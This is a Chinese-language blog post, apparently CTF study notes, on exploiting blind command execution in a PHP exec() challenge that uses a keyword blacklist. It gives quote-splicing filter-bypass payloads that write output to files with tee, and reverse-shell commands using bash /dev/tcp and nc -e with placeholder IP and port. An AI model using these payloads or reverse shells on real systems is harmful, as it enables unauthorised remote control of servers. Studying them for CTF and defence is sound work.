1. 程式人生 > 其它 >遇到無回顯的rce該怎麼辦?

遇到無回顯的rce該怎麼辦?

前言

面對rce命令函式的過濾我已習以為常,但這個無回顯的rce讓我懵了許久。今天做題遇到了無回顯的情況,再次,查閱網上資源,趁熱打鐵總結一下怎麼處理無回顯。

開胃菜

先看一道題目,也是我第一次遇見無回顯的RCE(恨自己刷題太少)

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url
)) { echo "Sorry,you can't use this."; } else { echo "Can you see anything?"; exec($url); } }

題目程式碼很簡單,exec函式執行命令,preg_match函式過濾掉大量命令,我當時用的是scanner函式,命令執行正確或錯誤回顯都是一樣的,沒用。因為第一次遇見這

種情況,我也沒轍。然後看了看師傅的wp,才慢慢清楚。

師傅的一個思路是將輸出結果寫入另一個檔案中。因為平臺是linux環境,構造payload l''s /|tee 1.txt (''用於連線字元,用於繞過過濾函式),進而訪問1.txt可顯示根目錄下的檔案,發現一個flllllaaaaaaggggggg檔案,確信是flag檔案了,繼續構造payload tac /flllll''aaaaaaggggggg|tee 1.txt(cat被過濾了,可以使用tac,當然也可以用拼接符將cat連線起來,過濾函式中過濾了個la,所以要用拼接符拼接)再次訪問1.txt就得到flag了。

處理無回顯

上面講的只是冰山一角,在此總結一下處理無回顯的方法。

反彈shell

其實在無回顯的RCE中,我們輸入的命令是執行了的,只是不給我們顯示出來。我們可以輸入用來反彈shell的命令來拿到對方伺服器的許可權。

我們可以輸入bash -i >& /dev/tcp/ip/port 0>&1 這個命令,通過自己伺服器來對對方伺服器進行查詢,這時候就不會有過濾限制和無回顯的限制了。

就可以盡情的無限制的命令執行了。也可以用nc -e /bin/sh ip port 這條命令。(由於本人還沒有伺服器,演示不了反彈的操作。再者本人並不太瞭解反彈shell

以後再慢慢深入)

重定向

將輸出儲存到檔案中而不是顯示出來。

">"    會將輸出的寫入到一個檔案中,並替換掉這個檔案中原有的內容。

">>"  寫入到一個檔案,並不會替換掉原有內容。

基本格式

command > file.txt

如果你寫的檔案不存在,它會自動生成一個檔案。

command > file.txt 2>&1

將輸出和錯誤資訊也儲存在同一個檔案中。

tee命令

上面的題目就是用這個命令解決無回顯。

標準輸入讀取再寫入標準輸出和檔案中(tee命令詳情百度)

命令格式

command | tee file.txt

 同樣的,檔案不存在自動建立。

command | tee -a file.txt

-a引數,增加附加功能。

其他的還有copy對輸出的內容進行復制,壓縮等方法。